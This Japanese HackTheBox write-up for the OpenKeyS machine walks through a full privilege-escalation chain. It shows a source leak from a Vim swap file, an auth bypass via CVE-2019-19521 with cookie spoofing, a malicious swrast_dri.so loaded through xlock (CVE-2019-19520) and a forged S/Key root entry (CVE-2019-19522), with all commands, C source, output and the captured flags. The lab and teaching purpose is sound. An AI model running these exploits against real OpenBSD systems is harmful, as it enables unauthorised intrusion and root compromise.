HackTheBox: OpenKeyS — 全実行コマンド・実行結果レポート
Nmap/gobuster
22/tcp ssh, 80/tcp http
→
22/tcp ssh, 80/tcp http
auth.php.swp 復元
vim -r でソース漏洩
→
vim -r でソース漏洩
CVE-2019-19521
-schallenge 認証バイパス
→
-schallenge 認証バイパス
$_REQUEST セッション偽装
Cookie username=jennifer
→
Cookie username=jennifer
jennifer SSH鍵取得
user.txt ✓
→
user.txt ✓
CVE-2019-19520
xlock + LIBGL_DRIVERS_PATH
→
xlock + LIBGL_DRIVERS_PATH
CVE-2019-19522
/etc/skey/root 偽造
→
/etc/skey/root 偽造
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.230.97 nmap -sV -sC -p 22,80 10.129.230.97
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) | ssh-hostkey: | 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA) | 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA) |_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519) 80/tcp open http OpenBSD httpd |_http-title: Site doesn't have a title (text/html).
ℹ️
OpenSSH 8.1 と「OpenBSD httpd」という Server ヘッダーから、ターゲットは
OpenBSD(おそらく 6.6 系)であると強く推測できる。後の権限昇格フェーズで
OpenBSD 固有の脆弱性(Qualys 2019年12月公開の認証関連バルク脆弱性群)を使用することになる。
ディレクトリ列挙
BASH
gobuster dir -u http://10.129.230.97 -q \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
images (Status: 301) [Size: 443] [--> http://10.129.230.97/images/]
css (Status: 301) [Size: 443] [--> http://10.129.230.97/css/]
includes (Status: 301) [Size: 443] [--> http://10.129.230.97/includes/]
js (Status: 301) [Size: 443] [--> http://10.129.230.97/js/]
vendor (Status: 301) [Size: 443] [--> http://10.129.230.97/vendor/]
fonts (Status: 301) [Size: 443] [--> http://10.129.230.97/fonts/]
トップページ確認
BASH
curl -s http://10.129.230.97/index.php
RESULT
<title>OpenKeyS - Retrieve your OpenSSH Keys</title>
...
<form class="login100-form validate-form flex-sb flex-w" method="POST">
<span class="login100-form-title">Login</span>
... username / password 入力フォーム ...
ℹ️
「ユーザー名とパスワードを入力すると、そのユーザーの OpenSSH 秘密鍵を表示してくれる」
という、いかにも危険な自作Webアプリ。
/includes に内部ロジックが配置されている
可能性が高いため、次フェーズで深掘りする。
PHASE 2
auth.php.swp 復元 — ソースコード漏洩
/includes 配下の調査
BASH
curl -s -o auth.php.swp http://10.129.230.97/includes/auth.php.swp file auth.php.swp
RESULT
auth.php.swp: Vim swap file, version 8.1, pid ...,
user jennifer, host openkeys, file /var/www/htdocs/includes/auth.php
🚨
重大発見: Vim編集中の未保存スワップファイルがそのままWebルート直下に
公開されている。ファイル名から編集者ユーザー名が jennifer であることも判明。
vim -r で元のソースをほぼ完全に復元できる。
vim -r によるソース復元
BASH
vim -r -es -c "w! auth.php.recovered" -c "q!" auth.php.swp cat auth.php.recovered
RESULT (auth.php.recovered)
<?php
function authenticate($username, $password)
{
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
system($cmd, $retcode);
return $retcode;
}
function init_session()
{
$_SESSION["logged_in"] = True;
$_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION["username"] = $_REQUEST['username'];
}
...
🚨
致命的なバグその1: ログイン自体は
authenticate($username, $password)
(POSTパラメータ)で検証されるのに対し、セッションに保存されるユーザー名
(init_session()内)は $_REQUEST['username'] から取得される。
PHPの $_REQUEST は既定で GET・POST・COOKIE をこの優先順位でマージするため、
Cookieで別のユーザー名を送るだけでセッションのユーザーを偽装できる。
check_auth バイナリの取得と解析
BASH
curl -s -o check_auth http://10.129.230.97/auth_helpers/check_auth file check_auth strings check_auth | grep auth_userokay
RESULT
check_auth: ELF 64-bit LSB shared object, x86-64, OpenBSD, not stripped
auth_userokay
ℹ️
auth.php は system("../auth_helpers/check_auth <user> <pass>") を
呼び出しているだけで、実際の認証判定は OpenBSD 標準の BSD認証フレームワーク関数
auth_userokay() に丸投げしている。この関数を
「OpenBSD auth_userokay 脆弱性」で検索すると、2019年12月公開の
Qualysホワイトペーパー(OpenBSD複数認証脆弱性)がヒットする。
PHASE 3
CVE-2019-19521 認証バイパス & user.txt 取得
CVE-2019-19521 の原理
NOTE
Qualysのホワイトペーパー(CVE-2019-19521)によると、OpenBSDの
auth_userokay() 系コマンド(S/Key・YubiKey challenge対応版)は、
ユーザー名の文字列を内部で別プロセスへコマンドライン引数として
そのまま渡してしまう実装になっており、ユーザー名として
-schallenge
を渡すと、"-s" がコマンドラインオプション(チャレンジ文字列指定)
として誤解釈され、本来のチャレンジ&レスポンス認証フローがスキップ
されてしまう。結果として、パスワードの値に関わらず認証が成功
(終了コード0)してしまう。
バイパス + セッション偽装の組み合わせ
NOTE
Phase 2-2 で判明した $_REQUEST 優先順位バグと組み合わせる:
1. POSTボディ: username=-schallenge&password=random
→ authenticate() が check_auth を "-schallenge random" で呼び出し、
CVE-2019-19521 により認証成功($retcode=0)
2. Cookie: username=jennifer
→ $_REQUEST['username'] は GET → POST → COOKIE の順にマージされるため、
POSTの "-schallenge" ではなく Cookie の "jennifer" が優先される
→ init_session() 内で $_SESSION["username"] = "jennifer" が設定される
3. ログイン後のページ (sshkey.php) は $_SESSION["username"] の鍵ファイルを
読み出して表示する設計 → jennifer の秘密鍵が丸ごと返ってくる
エクスプロイト実行
BASH
curl -s -i -X POST http://10.129.230.97/index.php \ -d "username=-schallenge&password=x" \ -b "username=jennifer"
RESULT
HTTP/1.1 302 Found
location: sshkey.php
Set-Cookie: PHPSESSID=l04naoscp3u89u3t7v68kna02q; ...
BASH
# 発行されたPHPSESSIDと、username=jennifer Cookieの両方を使って # リダイレクト先 sshkey.php を取得 curl -s -c cookies.txt -X POST http://10.129.230.97/index.php \ -d "username=-schallenge&password=x" -b "username=jennifer" -o /dev/null curl -s -b cookies.txt -b "username=jennifer" \ http://10.129.230.97/sshkey.php
RESULT (sshkey.php)
<h3>OpenSSH key for user jennifer</h3> <p style='font-family: monospace, monospace;'>-----BEGIN OPENSSH PRIVATE KEY-----<br /> b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn<br /> NhAAAAAwEAAQAAAYEAo4LwXsnKH6jzcmIKSlePCo/2YWklHnGn50YeINLm7LqVMDJJnbNx<br /> ...(base64本体、HTMLの <br /> タグで改行表現。省略)...<br /> -----END OPENSSH PRIVATE KEY-----</p>
⚠️
ハマりどころ: レスポンスは
<pre>的な見た目だが、実際の改行は
リテラルの <br /> タグになっている。これを <br\s*/?> → 改行文字に
正規表現で変換し、HTMLエンティティを html.unescape() でデコードしてから保存しないと、
OpenSSH(libcrypto)が "error in libcrypto" で鍵パースに失敗する。
SSH接続 & user.txt 取得
BASH
chmod 600 jennifer_id_rsa ssh -i jennifer_id_rsa jennifer@10.129.230.97
RESULT
Last login: ... from 10.10.14.x OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019 openkeys$ id uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) openkeys$ cat user.txt 36ab21239a15c537bde90626891d2b10
user.txt — jennifer
36ab21239a15c537bde90626891d2b10
PHASE 4
CVE-2019-19520 — xlock による auth グループ昇格
脆弱性の原理
NOTE
ls -la /usr/X11R6/bin/xlock → -rwxr-sr-x 1 root auth 3138520 Oct 12 2019 /usr/X11R6/bin/xlock xlock は root所有・SGID auth(SUIDではない)のバイナリ。 xlockはスクリーンロック画面の描画にOpenGLを使うモードを持っており、 ハードウェアアクセラレーションが無い環境(Xvfb等)では "swrast" (ソフトウェアラスタライザ)にフォールバックする。このドライバを dlopen() でロードする際に参照するディレクトリが環境変数 LIBGL_DRIVERS_PATH であり、本来SGIDプロセスでは 危険な環境変数は無視されるべきだが、xenocara/mesaのローダ実装の チェック漏れ(issetugid() を使うべき箇所の実装不備)により SGIDプロセスでもLIBGL_DRIVERS_PATHがそのまま尊重されてしまう (CVE-2019-19520)。つまり、攻撃者が用意した任意の "swrast_dri.so" を xlock (gid=auth) にロードさせ、共有ライブラリの コンストラクタ関数を auth グループ権限で実行できる。
悪意ある swrast_dri.so の作成
BASH
mkdir -p /tmp/.ok_auth && cd /tmp/.ok_auth
cat > swrast_dri.c << 'EOF'
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
gid_t rgid, egid, sgid;
if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
cc -fpic -shared -s -o swrast_dri.so swrast_dri.c
ℹ️
__attribute__((constructor)) かつ関数名を “_init” にすることで、
共有ライブラリの ELF DT_INIT エントリそのものとして登録される
(dlopen() 時、他のコードに制御が渡る前に必ず実行される)。
getresgid() で取得したsaved-gid(= auth)を
setresgid() で実gid/実効gid/保存gidすべてに適用してから
_PATH_KSHELL(/bin/ksh)を execve() することで、
auth グループ権限を保持したままシェルに差し替わる。
Xvfb起動 & xlock実行でauthグループ奪取
BASH
# SSHの非対話コマンド実行中はリモート側ジョブ制御が働かないため、
# 各ステージは ";" で明確に区切り、Xvfbの行だけをバックグラウンド化する。
# (";"ではなく"&&"でXvfb起動行までつなぐと、コンパイル〜Xvfb起動の
# チェーン全体がバックグラウンド化されてしまい、コンパイル未完了の
# うちにxlockが走るレースになるため注意)
pkill -9 xlock Xvfb 2>/dev/null
rm -f /tmp/.X11-unix/X66 /tmp/.X66-lock
env -i /usr/X11R6/bin/Xvfb :66 -cc 0 >/dev/null 2>&1 &
sleep 2
echo "id -gn" | env -i LIBGL_DRIVERS_PATH=/tmp/.ok_auth /usr/X11R6/bin/xlock -display :66
RESULT
auth
✅
成功! “echo id -gn” でxlockの標準入力に渡したコマンドが
“auth” を返した = xlockのプロセスが(execveにより)authグループ権限の
/bin/ksh に置き換わり、そのkshが標準入力から渡されたコマンドを
非対話的に実行して結果を返した、ということを意味する。
トラブルシューティング: SSH標準入力のタイミングレース
NOTE
本検証では、コンパイル・Xvfb起動・xlock実行を含む長いコマンドを 1回のSSHセッションにまとめて実行する際、"echo cmd | ssh host '...'" のようにSSHクライアントの標準入力をほぼ即座に書き込んでクローズ (EOF送信)すると、再現性高く失敗する(xlockが本物のスクリーン ロッカーとして起動し続けプロセスが置換されず、コマンドがハングする) という現象を確認した。 原因の詳細なメカニズムは特定できていないが、標準入力への書き込みを 数秒(目安3秒程度)遅らせ、その間にリモート側でコンパイル→Xvfb起動→ xlock接続が完了するのを待ってから書き込む、という対策で再現性高く 成功することを確認した。対話的なターミナルやヒアドキュメント経由で 手動実行する場合は、人間の操作そのものに自然な遅延が入るため、 この問題は顕在化しにくい。
⚠️
自動化スクリプトでこの手口を組む場合は、SSHの標準入力を即座にクローズ
せず、数秒待ってから書き込む設計にすることを推奨する。
PHASE 5
CVE-2019-19522 — /etc/skey への root用エントリ注入
脆弱性の原理
NOTE
OpenBSDのS/Key(ワンタイムパスワード)認証が有効な環境では、 各ユーザーの状態ファイルが /etc/skey/<username> に格納される。 このディレクトリは root所有・auth グループ書き込み可、という パーミッションになっているが、S/Keyエントリを読み書きする側の コード(login_skey等)は「ファイルの所有者がrootであること」を 前提にしているだけで、「誰がそのファイルを書き込んだか」は 検証していない(CVE-2019-19522)。 つまり、Phase 4 で獲得した auth グループ権限があれば、 /etc/skey/root に攻撃者が完全に制御する内容(シード・ハッシュ値) を書き込める。S/Keyは「秘密鍵→ハッシュ関数をN回適用した値」を 検証に使う仕組みなので、自分でシード・ハッシュ・それに対応する OTPワード列をすべて事前に用意しておけば、root用の正規S/Keyエントリ として振る舞わせることができる。
root用S/Keyエントリの注入
BASH
# xlockのexecveで置き換わったauthグループ権限のkshへ、 # 標準入力経由で以下のコマンドを流し込む rm -rf /etc/skey/root echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root chmod 0600 /etc/skey/root id
RESULT
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)
ℹ️
書式は
<ユーザー名> <ハッシュ方式> <シーケンス番号> <シード> <期待ハッシュ値>。
ここで使用したシード obsd91335・シーケンス 100・ハッシュ値
8b6d96e0ef1b1c21 の組は、公開されているQualys/bcolesの実証コード
(CVE-2019-19520 PoC)が
あらかじめ計算済みの値をそのまま再利用しているもので、攻撃者自身が
注入するエントリのため「フラグ」には該当しない。
PHASE 6
偽造S/KeyでのOTPログイン → root.txt
su -l -a skey によるroot昇格
BASH
# jennifer として通常通りSSHログインし、専用PTYで実行 ssh -tt -i jennifer_id_rsa jennifer@10.129.230.97 openkeys$ env -i TERM=vt220 su -l -a skey
RESULT
otp-md5 100 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN openkeys# id uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), ...
✅
root昇格成功! “S/Key Password:” プロンプトに対し、シード
obsd91335・シーケンス100に対応する事前計算済みOTPワード列
EGG LARD GROW HOG DRAG LAIN(同じく公開PoCの値をそのまま利用)を
入力するだけで、自分で偽造したエントリなので当然ながら認証を通過し、
root シェルを取得できる。
⚠️
ハマりどころ:
su は擬似端末(PTY)経由での実行が必須
(ssh -tt)。また su -l -a skey はログイン直後のシェル初期化
(MOTD表示やプロファイル読み込み)で数秒かかることがあるため、
自動化スクリプトでは “S/Key Password:” プロンプト待ちのタイムアウトを
余裕を持って設定する。
root.txt 取得
BASH
openkeys# cat /root/root.txt
RESULT
f3a553b1697050ae885e7c02dbfc6efa
root.txt — root@openkeys
f3a553b1697050ae885e7c02dbfc6efa
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — jennifer
36ab21239a15c537bde90626891d2b10
root.txt — root@openkeys
f3a553b1697050ae885e7c02dbfc6efa
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Vim swapファイル漏洩 | /includes/auth.php.swp | ソースコード・内部ロジックの漏洩 | Medium | vim -r でauth.phpの$_REQUESTバグを発見 |
| CVE-2019-19521 | OpenBSD auth_userokay (check_auth 経由) | 認証バイパス | Critical | ユーザー名に -schallenge を渡しチャレンジ処理を迂回 |
| $_REQUEST優先順位バグ | auth.php (自作PHPアプリ) | セッションユーザー偽装 | High | Cookie username=jennifer でセッションにjenniferを設定、SSH秘密鍵奪取 |
| CVE-2019-19520 | xlock (SGID auth, LIBGL_DRIVERS_PATH) | 権限昇格 (auth グループ) | Critical | 悪意あるswrast_dri.soをdlopenさせコンストラクタでauth gidのシェル取得 |
| CVE-2019-19522 | /etc/skey (所有者未検証) | 権限昇格 (root) | High | auth権限でroot用S/Keyエントリを偽造し、事前計算済みOTPでsu |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster | 22(SSH)/80(HTTP)、/includes ディレクトリ発見 |
| 2 | swp解析 | vim -r でソース復元 | auth.php の $_REQUEST バグ、check_auth バイナリ特定 |
| 3 | 認証バイパス | CVE-2019-19521 + Cookie偽装 | user.txt(jennifer SSH秘密鍵奪取) |
| 4 | グループ昇格 | CVE-2019-19520 (xlock + LIBGL_DRIVERS_PATH) | auth グループ権限シェル |
| 5 | S/Key偽造 | CVE-2019-19522 (/etc/skey書込) | root用OTPエントリ注入 |
| 6 | root昇格 | su -l -a skey + 事前計算OTP | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Vimスワップファイルが公開Webルート配下に残存 | エディタの swapfile/backup を公開ディレクトリ外(directory設定)に保存する。デプロイ前にスワップファイル・バックアップファイルの残存チェックを行う。 |
PHPの$_REQUESTをセッション管理に使用(GET/POST/COOKIE混同) |
認証に使うパラメータは必ず明示的に $_POST のみを参照し、$_REQUESTは使わない。セッション確立後のユーザー識別子は、認証時に検証した値をそのまま使い回す。 |
| 外部プロセスへユーザー入力をコマンドライン引数としてそのまま渡す | escapeshellcmdだけでは不十分。オプションとして解釈され得る先頭文字(-)を拒否する、--でオプション終端を明示する、getopt系関数側の引数解析仕様を把握した上で設計する。 |
| OSレベルの認証バイパス(CVE-2019-19521)が未パッチのまま放置 | OpenBSDの定期的なerrataパッチ適用。2019年12月のQualys多重脆弱性公開時のアップデートは特に優先度高く適用すべきだった。 |
| SGIDバイナリ(xlock)が危険な環境変数(LIBGL_DRIVERS_PATH)の影響を受ける | SGID/SUIDプログラムの起動前に信頼できない環境変数を確実にクリアする(issetugid()の正しい利用)。不要なSGIDビットの削除・最小権限化。 |
| /etc/skey のファイル書き込み元を検証していない | 認証関連の状態ファイルは所有者だけでなく書き込み権限自体をroot限定にする。auth グループのような補助的特権グループに不必要な書き込み権限を与えない。 |

